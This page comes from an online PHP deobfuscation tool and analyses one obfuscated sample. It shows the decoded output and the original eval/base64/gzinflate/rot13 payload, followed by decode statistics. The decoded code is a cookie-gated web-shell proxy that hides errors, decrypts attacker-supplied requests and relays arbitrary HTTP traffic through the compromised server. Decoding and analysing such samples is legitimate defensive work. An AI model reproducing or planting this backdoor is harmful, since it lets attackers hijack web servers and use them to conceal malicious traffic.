Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEuu4Efwa165izKF8b85EzBcXZs6ZX..

Decoded Output download

@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);

foreach ($_COOKIE as $item) {
    if ($item != "dtnbgvcgbwvcgdsfcg")
        exit();
}

$data = file_get_contents('php://input');
$data = explode("=", $data, 2);

$b64_decode_data = base64_decode(urldecode($data[1]));

$send_data = unserialize(decrypt($b64_decode_data));

$result = send_data1($send_data);
if (!$result) {
    $result = send_data2($send_data);
}

echo $result;

function decrypt($data)
{
    $out_data = "";
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $key_len = strlen($key);

    for ($i = 0; $i < strlen($key); $i++) {
        $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
    }

    for ($i = 0; $i < strlen($data);) {
        for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function send_data1($data)
{
    $is_gzipped = FALSE;

    $res_status = "";
    $res_headers = Array();

    $head = "";

    foreach ($data["headers"] as $key => $value) {
        $head .= $key . ": " . $value . "
";
        if ($key == "Accept-Encoding")
        {
            if (strpos($value, "gzip") !== FALSE)
            {
                $is_gzipped = TRUE;
            }
        }
    }

    $context = Array();
    $context['http']["method"] = $data["method"];
    $context['http']["header"] = $head;
    $context['http']["timeout"] = $data["timeout"];

    if ($data["body"])
    {
        $context['http']["content"] = $data["body"];
    }

    $ctx = stream_context_create($context);

    $result = @file_get_contents($data["url"], FALSE, $ctx);

    if ($is_gzipped)
    {
        $tmp_result = gzdecode($result);
        if ($tmp_result)
        {
            $result = $tmp_result;
        }
    }

    foreach($http_response_header as $header)
    {
        if(false !== strpos($header, ':'))
        {
            list($h, $value) = explode(':', $header, 2);
            $res_headers[$h][] = trim($value);
        }
        else
        {
            $res_status  = $header;
        }
    }

    $res = Array();
    $res["status"] = $res_status;
    $res["body"] = $result;
    $res["headers"] = $res_headers;

    return base64_encode(serialize($res));
}

function send_data2($data)
{
// use sockets
}

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEuu4Efwa165izKF8b85EzBcXZs6ZX2LyrWiQAArAkED3Zw+Xbbj/3vojXu+hXP4eh2/BkP/Oy5TMy9/50Ef5/f/OX4q2uknVQJYt/gv6+d371TQ5sAcIieOwKEceiefgvyBwlcVs1Dn2PqpsuZ9oa1QSMZ/zfLMiUhcjbCe8l4BS7RGKANMKbXvvvO/nyKTgeh6ph8Jl8IWgwagTm2GXLHyC5xMGxnbKYH6GzWV8RfL2J9kk/WpBm0JCc0OpLcP3/VsekI9xi1tWbWz/Z7Sn2RRTdzA1qzbYJmIhRDv+ArE3hjX7AI3+ICe1tPmQTt4OjgpFklGeDcS9b6QaqGXLnvrXc1if+SlnTBrhRhhwkNLO9YbSGaB+ZiRCdc6Ismhd+pVzePmUqmLsN4JebsTbkoGbD/FhamKHdQnYiq8gXSkuIlejRhzfjxIpfVSfg7AwezxdB/EAgRsc4qNHzWLw6KHRxfVMMa2RuX5u2H9JD3Rlazf+l482BGIY3dG3MCVbDbjdjy5zyNvq2w9unNRoB9PTvRhuIL6GC/JacjDkftc9910Jx1YH2J2p2tYIE1DkXfERcJRQ4jwxMBx/hzBHaK/V9LYSWgU8GIMxO0pzR9KdyP2RY8MJNzbYzFDpwGGX30TG6YlXKSHXP/E72BV0eEEVQzPAlc60DxDzit9DX5tv5bZo5hsqyyhL2R5aOrIVhg/jW9TAnkJLOTWBdeEV+zZhl8no7X5a88z7HBNj5XpIYgOeQVKHsXpH/kXbYORvmgB6yPM75OAA0Sy01A0RqyYhCY8ILqXOquLEoC0AtnIFI9SwIt97HLwdcgWci9sE3d4+0TaQTcp9FnY4sZ+21d79meZLxtaFonc8z2lsjmxppRABhNQQgsJ/AP2zAzek/Ps2Qlh4zeS9wmJGE3nk1FC9biA+TwMKAS3cZkm6qQ9hC9PCa/0QvV8p4+q9zvcKv/V0A5CScd3T1CuWu8RvaAI3uYrzalK5+iKZ73qSxfZjRAab+ugHIetQKmkxCWOIMJBmA+PYZaBHflvTDn2aPRgHWXpzwM7MVwyMroDq7zqafcQfhWJcCC6VGwPyLL4dbpOXqI1cRbDkKbaARm6BJXUZs0nzzoJF9mAeoMvVQYGfe47eKX0FtWTtgtj+jsSXclOvDVWUOENxJdh5zKajZdh8wba7ic3IWo8I0W1jyhXrYO2Jhok3qJ0i2yI9IUElPcknEVholZk6eCsVB6vFF7M/fEKMq0Wx4yPZ9uRKNWYyamrt+RyKIV+rexr9HR5k34zlIHFa+d6b0BBv7gY/WdvvT210ljpoVhybMXxTA7CO+ZoClkOT45Hct6lactjqQGbVV/XkweA0wC6CnxWqF2oGn+rkt4rA7U0INEceLoAwS5OlohkZZd2DYXlspWYpoFk0szzD5aQiKvBeeT/vWam1eXDnzYZTqHC4wEQPFGzVOU+8W2++Xc6Udf3DZBULGdD5Ve7qXgYGJqAU3mwWgIgAZLnGMbv7+TxXherhaj65msc4t57QTn5U4s9uCw/We92gdN/IEJDbgTsUNdydm2DmCFrHCeSD/qnEMA09FPhx0+VT0oGyCJ1IBrJR+tXRL7/pRGLQzmKhjbDNIeoVR9o1Z66HwECOX13DXWnetp2zOA1Vw+HYLJCZMO//4NPpJBhf5JHm0nobm60ZE4Y6FFb9InuAQIlFI56OFTw4tjEaZZ9MEEfJ6XEbUYCnd7t4+LPLFMUk0uy2xDKo6mpkAcKL18ZO9tjFU2wf64roHq4adEXf05ZSUd3zulDFQDibJ4EgDq2y9WSbVLCYIKS2+Iedbsw3LsQqsjDs3Hn94CEs9DJw4FnvY1JggfPA+sdbIdVRX0GwUXnQF2k0eWiN6hvppq2ns+PwncdA660mtAGN3Q09UvMl/cD0zEBwiX8rzWABHgHyGjBX18hYFG4mLcvL+tnXDFjOgoZHo+J8koVf3oNknrXTYTKLgpndt0JSgoPereb1a8SdrwYbNrxzJrfIzNJ53bj4gNJNReB0WMElgJgbQXXoo+tG1DSKXa28My54YaQgEMhfab9d37X1VL279aw8Do6DnDln20K91HpIA6Dz3Eem5jpsuXxJQ/olzDcnqszjVmwrToPSW/hCG3mOZ6v5ergl0L4wDp4fKoO4GPEquTYU4PdtXWDtZ5yInH8SMuBsA8cLkkzovF5y7y6USuaaOU7L/G7e+GP/09qhE9Li2SAyK2bRxSHrNiq3uBE+ASIfma8/e3KSQ/U2HmZZc6fWyQZNfS6ltPfa5NjY1g693ZFsfZbQgB6+P8NjoKNS1onczQEaixE9cvfamkXwZT1SgfV2aQnSoAOowKXRVp/eEgNZklHaBVfyCczJA9ykVEm94EIDx5ent972VzESJXL+08NxqybI1O5AzBjFrke/iprhPZd+rea78fn8xKGGh1Ju+QAUOPBmQHK6UZyIvEnmsIlBhgbc89qjUfMgqMMq/ejfbz3ztMEJbY/uCV3zpCB5ny4qUtmr1CRvHuZt2YMDjYpBO8OOblHSQMKlJAF7VTYF6Z+ulzOgAab1CIzmJv2Xf2ur9es4hJSJ/hHe1fm/XAk7X+UQvgGpQSaCCq8NF7NWtxi4mEFnjYYR1NnhQ6jg+l1meDgLw3VlsRioz8l79L60BcwVJmmyv7BUS6NI//kbmrOjkkNOdIwWAVMbQlhxEmCAMfCppopblw9R04EKJV6NXQWjgpUitGfjKCNx2XK30kg3snMs/fVLkqjgJ1NlvctJhoLD9T5In/w66ivbUHmpYcaTyX74FzMVlOI8lyfyBFTRQ/1m7rXtjaIId6t/pejziTIoeKou62FJOMS8XJjqLfaz+AofSGDlNwlq0KOdveiDXiOpgM35iZCXfTjbDqwPIjNjqmo7jNwR82+J7CNwafUP69RkoBhvk59AK+IqZW7+8sCMn6MCL1Cwi0qv7ucgC37HD21OU6wbGHPVLvO/yoy+vfRE5JW3SH/EDI6iEWwCql0r4M1fBiUDm6Kv3aEHsu1NRqCLG/qxuy/oPeJ5Eos2vw1zeKEn7KTrFbmpUklOpWI3RqTeDPyrGodZgEXE20CXEqJEvDgMxDH40t0OCqHdtd0ykP2MtAtFQhMLiRbPgEfBr+6q9Rz58Q8fPTih5dHmv41ONkO1hae6QeLYP/sjGrW2g80I468UI2j+HPlLgtd+5YLWInOf18X+DWerIAnVfLX7K/M161KSoXnOs7+s0cIZkVBCBUsQQTrasJA6FSW/UZTXihggHfOYejmspt9OV46UX5GHEYGl9MuaL/n1WU/o/RsCluz9Ex67nIBmdwDuErpnCT+KTIPO3NxRdZRdNIzm6JPHybhrm7ClYbqJBYIevAaX+2SKbe3g6zhGMZZBJpaYbaOvowVFQsi9FRCdQb7QDxrQWWLYFreNbTaSRstiGM+ovrKFUcBcoxyDkE/BdJW4F0GZ+sFK+TvnNhnftM94nZ6OEufsJrXyWx1BGm7bR9fUhXrCSswVx3wDFBIDu+IfzQiqWma7ILjoyTAgUn+CRW3uS37idzvitWdlAqRHRdbMp0BKdz9iEwEStYosuGxTNDmb1Fl+p47powCTdnN1Y6srvfAe13vfzNo2oVbIK/3I1JlxRh0vM132GuDNYoGDkifhZWVpab9pXVDiq69XO7m2vgUJ8e5vFFMm1V4D+aduWp7O2jlZdQjOGXTIzxv1x3rhTzFqVLvVPRqnoy/nzveSzntqh+vjWV2Gc2WeBwkPZqtJDAPkSm/yg1d/U6LRSxHEhuzPTcQUY0uWxFU5O6PjxhaM8bMw7uRB+qin8rFOF32KhQG1H9N8iU5Y2qyiAxQPWi8XPaPDtllRFGDiO5Mhi/Cnt/MtPYdKt+Evk7C3zCTPKffaPQyWzww/Hd0Ru0eqGoCFSPnhyZk7YlmEQwid4sErYg1E9iOLfMot4T7TdhlWKT4VqLUdEY1RbpNVx2+dH1YZX6b5tOndKrET80jNA0rnlyQWw/q6By0KNVcIhoUjn0lk+s+t/2M1lEgLZIuQKPfRmkilKCTfZCjRJhXg2yN8G2bfpSgqqb4c8Z7um9c80CG15SEUkyg756rzNupJ0/YVfYehNADcWBp9fv/8sv9GcZaJBLAqCrclvpx+lI6eVMfq9ObN1KeG60hQvMKIIpZEuBzjxcVKDY7IWwYZ+gOoUCK95cibslvcPo4EyhW4hJY//3PsjJC65RKPPIcz07nEQ3jBwFlodue1djAu+wHxBOhukxIXADB8YfaU/lZUzrvV921P2qMlQ3Jd8MuvrmyfntAW/NZkrQpu5Hac37hxn78YMMNeQp8n/7iNcxwTKVxGprG9GiOQXZaPzJvnHpQOqydVt3iIzYtGF8SdlyG/7MPYWTyQLkKPb54zRHBYsczHZu0NX11fyTvV7MaSuTWSDazY1EoSs7OzaaPVhj21heqBNMmj0mDgPt/jWDVf89rzFTRNMoagfJ1sUrG6iTOf9aqYMWQYTWez2Hw+77NIduuX690msot/teB9Ah8MmuJEctsk994egaWXwoMQrF2QN/BFy6g4FYI+OHFDB1XGotG5pJZo+M1m8f7aXnSo1ByVs3iVC5YdNUaSGPcusHxkJeRToRXxlkV6KIBmKYuY6K9LMKems8zAkQaSEgRUlMecYJgYviZa9bhcjVOlOizANYf8bxzdnjCXnEsO8OvHHTz2PGAutTaehKCbXQDMLgy1ZXnArSZof01fRkG8DkckiZAvCf/hHrnhBnTfgO5DYai5A3iO0YDvYQKXaVTYihWX2LoWsl2hPwic8KzIF49WHL2U1eHvn3GrmOecC+H2/QXwiqyLxGMo12YnN38I11NMK/r4ZESmnkWTz5iru5NFlRuGcgNkNuTRnzLV8TzuWxhCliDuRurW6GoMAj+ydnst7qQF6dlUdOy/KNVV5KuOn6i9ocheldfe2kTV088sg8kl+PbFG0cXhMTxzyuEGivXQlWtv/79fv7zPw==')))));

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 86d959303e66a6873dc2a96e2d9e0581
Eval Count 16
Decode Time 307 ms